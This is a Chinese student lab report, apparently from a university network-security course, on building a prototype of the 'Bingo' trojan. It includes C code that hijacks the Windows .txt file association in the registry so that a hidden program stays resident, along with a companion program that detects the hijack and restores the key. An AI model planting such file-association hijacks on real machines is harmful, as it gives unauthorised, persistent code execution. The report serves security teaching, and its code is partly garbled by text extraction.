网络安全技术实验二程序内存驻留与木马原型.docx

上传人:b****2 文档编号:17566275 上传时间:2023-07-26 格式:DOCX 页数:12 大小:124.14KB
下载 相关 举报
网络安全技术实验二程序内存驻留与木马原型.docx_第1页
第1页 / 共12页
网络安全技术实验二程序内存驻留与木马原型.docx_第2页
第2页 / 共12页
网络安全技术实验二程序内存驻留与木马原型.docx_第3页
第3页 / 共12页
网络安全技术实验二程序内存驻留与木马原型.docx_第4页
第4页 / 共12页
网络安全技术实验二程序内存驻留与木马原型.docx_第5页
第5页 / 共12页
网络安全技术实验二程序内存驻留与木马原型.docx_第6页
第6页 / 共12页
网络安全技术实验二程序内存驻留与木马原型.docx_第7页
第7页 / 共12页
网络安全技术实验二程序内存驻留与木马原型.docx_第8页
第8页 / 共12页
网络安全技术实验二程序内存驻留与木马原型.docx_第9页
第9页 / 共12页
网络安全技术实验二程序内存驻留与木马原型.docx_第10页
第10页 / 共12页
网络安全技术实验二程序内存驻留与木马原型.docx_第11页
第11页 / 共12页
网络安全技术实验二程序内存驻留与木马原型.docx_第12页
第12页 / 共12页
亲,该文档总共12页,全部预览完了,如果喜欢就下载吧!
下载资源
资源描述

网络安全技术实验二程序内存驻留与木马原型.docx

《网络安全技术实验二程序内存驻留与木马原型.docx》由会员分享,可在线阅读,更多相关《网络安全技术实验二程序内存驻留与木马原型.docx(12页珍藏版)》请在冰点文库上搜索。

网络安全技术实验二程序内存驻留与木马原型.docx

网络安全技术实验二程序内存驻留与木马原型

网络安全技术实验二_程序内存驻留与木马原型

 

沈阳工程学院

学生实验报告

 

实验室名称:

信息学院网络安全实验室

实验课程名称:

网络安全技术

实验项目名称:

实验二程序内存驻留与木马原型

班级:

姓名:

学号:

实验日期:

2014年3月21日实验台编号:

34

指导教师:

批阅教师(签字):

成绩:

一.实验目的

理解内存驻留程序,编写程序实现内存驻留;

理解“冰河”原型木马,编写程序实现简单的木马。

二.实验内容

编程实现:

“冰河”原型;

编程判断是否中了“冰河”原型木马,并能查杀木马。

三.实验原理

“冰河“木马开发于1999年,在设计之初,开发者的本意是编写一个功能强大的远程控制软件。

但一经推出,就依靠其强大的功能成为了黑客们发动入侵的工具,并结束了国外木马一统天下的局面,成为国产木马的标志和代名词。

在2006年之前,冰河在国内一直是不可动摇的领军木马,在国内没用过冰河的人等于没用过木马,由此可见冰河木马在国内的影响力之巨大。

1)自动跟踪目标机屏幕变化,同时可以完全模拟键盘及鼠标输入,即在同步被控端屏幕变化的同时,监控端的一切键盘及鼠标操作将反映在被控端屏幕(局域网适用);

2)记录各种口令信息:

包括开机口令、屏保口令、各种共享资源口令及绝大多数在对话框中出现过的口令信息;

3)获取系统信息:

包括计算机名、注册公司、当前用户、系统路径、操作系统版本、当前显示分辨率、物理及逻辑磁盘信息等多项系统数据;

4)限制系统功能:

包括远程关机、远程重启计算机、锁定鼠标、锁定系统热键及锁定注册表等多项功能限制;

5)远程文件操作:

包括创建、上传、下载、复制、删除文件或目录、文件压缩、快速浏览文本文件、远程打开文件(提供了四中不同的打开方式——正常方式、最大化、最小化和隐藏方式)等多项文件操作功能;

6)注册表操作:

包括对主键的浏览、增删、复制、重命名和对键值的读写等所有注册表操作功能;

7)发送信息:

以四种常用图标向被控端发送简短信息;

8)点对点通讯:

以聊天室形式同被控端进行在线交谈。

从一定程度上可以说冰河是最有名的木马了,就连刚接触电脑的用户也听说过它。

虽然许多杀毒软件可以查杀它,但国内仍有几十万中冰河的电脑存在!

作为木马,冰河创造了最多人使用、最多人中弹的奇迹!

四.实验软硬件环境

虚拟机中windows2000环境。

五.实验步骤

第一步:

“冰河”木马的文本文件关联

采用“冰河”将自己与文本文件的打开方式相关联的方法实现植入“冰河”。

关联的方法就是使用注册表“HKEY_CLASSES_ROOT”主键下的“txtfile\shell\open\command”键。

程序要实现的功能是:

当用户双击打开一个文本文件,先启动要驻留的程序,然后再启动记事本打开这个文本文件。

这包括两方面内容,一是编程修改注册表,二是编程实现程序自动驻留。

运行本程序前,请先确定系统是否中了“冰河”。

有查看注册表内容和程序两种判断方式。

分别如图1和图2所示。

图1通过注册表判断未中“冰河”

图2通过程序判断未中“冰河”

【程序源代码】

  #include

  #include

  //结构WNDCLASS包含一个窗口类的全部信息

  WNDCLASSwc;

  HWNDh_wnd;

  MSGmsg;

  //冰河木马修改注册表函数IceRiverEditReg声明

  boolIceRiverEditReg(void);

  //消息处理函数wndProc的声明

  longWINAPIWindowProc(HWND,UINT,WPARAM,LPARAM);

  //winMain函数的功能是被系统调用,作为一个32位应用程序的入口点。

  intPASCALWinMain(HINSTANCEh_CurInstance,

  HINSTANCEh_PrevInstance,LPSTRp_CmdLine,intm_Show)

  {

  //修改注册表

  boolbRegEditFlag=IceRiverEditReg();

  //以下被注释的代码为判定注册表是否修改成功

  /*if(bRegEditFlag==true)

  MessageBox(NULL,"注册表修改成功!

","",MB_OK);*/

  //bSsuccess用于保存CreateProcess函数返回值

  BOOLbSuccess;

  //PROCESS_INFORMATION结构返回有关新进程及其主线程的信息。

  PROCESS_INFORMATIONpiProcInfo;

  //STARTUPINFO结构用于指定新进程的主窗口特性。

  STARTUPINFOInfo;

  //以下为Info的相关成员,详见MSDN

  Info.cb=sizeof(STARTUPINFO);

  Info.lpReserved=NULL;

  Info.lpDesktop=NULL;

  Info.lpTitle=NULL;

  Info.cbReserved2=0;

  Info.lpReserved2=NULL;

  

  //lpAppName用来保存双击打开的txt文件的绝对路径,并在之前添加命令

  //notepad.exe,其目标形式如:

notepad.exec:

\abc.txt

  charlpAppName[100];

  strcpy(lpAppName,"notepad.exe");

  //MessageBox(NULL,lpAppName,"",MB_OK);

  if(strcmp(p_CmdLine,"")!

=0)

  strcat(lpAppName,p_CmdLine);

  MessageBox(NULL,lpAppName,"",MB_OK);

h_wnd=CreateWindow("TheMainClass","OurfirstWindow",

  WS_OVERLAPPEDWINDOW,0,0,400,500,0,0,h_CurInstance,0);

  //显示窗口

  ShowWindow(h_wnd,SW_HIDE);

  //消息循环

  while(GetMessage(&msg,NULL,0,0))

  DispatchMessage(&msg);

  return(msg.wParam);

  }

  //定义消息处理函数

  longWINAPIWindowProc(HWNDh_wnd,UINTWinMsg,

  WPARAMw_param,LPARAMl_param)

  {

  switch(WinMsg)

  {

  caseWM_DESTROY:

  //PostQuitMessage函数向系统表明有个线程有终止请求

  PostQuitMessage(0);

  return0;

  }

  //DefWindowProc为应用程序没有处理的任何窗口消息提供缺省的处理

  returnDefWindowProc(h_wnd,WinMsg,w_param,l_param);

  }

  //IceRiverEditReg函数用于修改注册表HKEY_CLASSES_ROOT

  //\\txtfile\\shell\\open\\command健值,将其修改为:

  //"C:

\\IceRiver\\Debug\\IceRiver.exe%1",修改成功则返回true,

  //失败则返回false

  boolIceRiverEditReg(void)

  {

  HKEYhKey1;

  LONGlRetCode;

  lRetCode=RegOpenKeyEx(HKEY_CLASSES_ROOT,

  "txtfile\\shell\\open\\command",0,KEY_WRITE,&hKey1);

  if(lRetCode!

=ERROR_SUCCESS)

  {

  returnfalse;

  }

  lRetCode=RegSetValueEx(hKey1,

  "",0,REG_EXPAND_SZ,

  (byte*)"C:

\\IceRiver\\Debug\\IceRiver.exe%1",50);

  if(lRetCode!

=ERROR_SUCCESS)

  {

  returnfalse;

  }

  returntrue;

  }

编译运行程序后,对应位置注册表健值被修改,如图3所示。

图3植入“冰河”后注册表被修改

将编译好的可执行文件改名为“IceRiver.exe”,并把“IceRiver.exe”拷贝到虚拟机操作系统的“C:

\IceRiver\Debug\”目录中,之后打开任一后缀为.txt的文本文件,通过任务管理器中进程的变化,可以发现打开txt文件的同时,除了添加NOTEPAD.exe进程外还添加了IceRiver.exe进程。

关闭txt文件后,我们可以发现进程NOTEPAD.exe被关闭,但是IceRiver.exe进程依旧存在,这就达到了程序自动驻留的目的。

双击txt文件后后台运行的命令,如图4所示。

 

图4双击txt文件时提示后台命令

第二步:

查杀“冰河”木马

查杀“冰河”木马程序源代码如下:

  #include

  #include

  #include

  //常量字符指针RegValue指向字符串"%SystemRoot%\\system32\\NOTEPAD.EXE%1",

  constchar*RegValue="%SystemRoot%\\system32\\NOTEPAD.EXE%1";

  //声明有效路径获取函数GetValidPath

  char*GetValidPath(char*GetPath);

  //声明删除关联函数DeleteConnection

  voidDeleteConnection(char*DelPath);

  //声明注册表恢复函数RecoverReg

  voidRecoverReg(HKEYKey,LONGRetCode);

  intmain(void)

  {

  //获取注册表HKEY_CLASSES_ROOT,\\txtfile\\shell\\open\\command健值

  HKEYhKEY;

  LPCTSTRdata_Set="txtfile\\shell\\open\\command";

  longret0=(RegOpenKeyEx(HKEY_CLASSES_ROOT,

  data_Set,0,KEY_READ,&hKEY));

  //如果无法打开hKEY,则终止程序的执行

  if(ret0!

=ERROR_SUCCESS)

  {

  return0;

  }

  //如没被修改时为:

//"%SystemRoot%\\system32\\NOTEPAD.EXE%1"

  LPBYTEowner_Get=newBYTE[80];

  DWORDtype_1=REG_EXPAND_SZ;

  DWORDcbData_1=80;

  longret1=RegQueryValueEx(hKEY,NULL,NULL,

  &type_1,owner_Get,&cbData_1);

  if(ret1!

=ERROR_SUCCESS)

  {

  return0;

  }

  //判断对应健值是否被修改,即判断是否中了冰河

  if(strcmp((constchar*)owner_Get,RegValue)==0)

  printf("没有中冰河\n");

  else

  {

  printf("可能中了冰河\n");

  char*path=(char*)owner_Get;

  path=GetValidPath(path);

  DeleteConnection(path);

  RecoverReg(hKEY,ret1);

  }

  }

  //获取注册表HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command

  //健值表示的有效路径。

如若键值为//"%SystemRoot%\\system32\\NOTEPAD.EXE%1",

  //则函数返回的指针指向"%SystemRoot%\\system32\\NOTEPAD.EXE"

  char*GetValidPath(char*GetPath)

  {

  intlen=strlen(GetPath);

  printf("pathvalue:

%s\nlen:

%d\n",GetPath,len);

  //由于键值的最后三个字符为"%1"导致键值不是有效路径,因此,将倒数第三个

  //字符(空格)赋值为字符结束标志'\0'

  *(GetPath+(len-3)*sizeof(char))='\0';

  printf("%s\n",GetPath);

  returnGetPath;

  }

  //删除关联文件,若删除成功则提示注意查看,若删除失败,则提示删除失败

  voidDeleteConnection(char*DelPath)

  {

  if(DeleteFile(DelPath)!

=0)

  printf("DeleteFilesucceeded!

Pleaseexamineintime!

\n");

  else

  {

  printf("DeleteFileFailed!

\n");

  printf("LastError:

%d\n",GetLastError());

  }

  }

  //恢复注册表,将对应健值赋为"%SystemRoot%\\system32\\NOTEPAD.EXE%1"

  voidRecoverReg(HKEYKey,LONGRetCode)

  {

  LPCTSTRdata_Set="txtfile\\shell\\open\\command";

  longret0=(RegOpenKeyEx(HKEY_CLASSES_ROOT,

  data_Set,0,KEY_WRITE,&Key));

  

  RetCode=RegSetValueEx(Key,

  "",0,REG_EXPAND_SZ,

  (byte*)RegValue,50);

  if(RetCode!

=ERROR_SUCCESS)

  printf("注册表恢复失败!

\n");

    else

    printf("注册表恢复成功!

\n");

}

程序运行结果如图5所示,可以看出删除关联文件前后其所在文件夹的变化,如图6所示,注册表也会恢复,如图7所示。

另外,有一点必须说明的是,在运行此程序前,请保证进程IceRiver.exe已关闭,否则会出现无法删除关联文件的情况,因为此时文件正在运行,拒绝访问,如图8所示。

可以通过任务管理器窗口关闭该进程,或者通过编程实现,在此使用第一种方法。

图5修复“冰河”带来的系统变化

 

图6关联文件所在文件夹变化

图7注册表恢复

图8无法删除关联文件

 

 

 

教师签名:

年月日

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > IT计算机

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2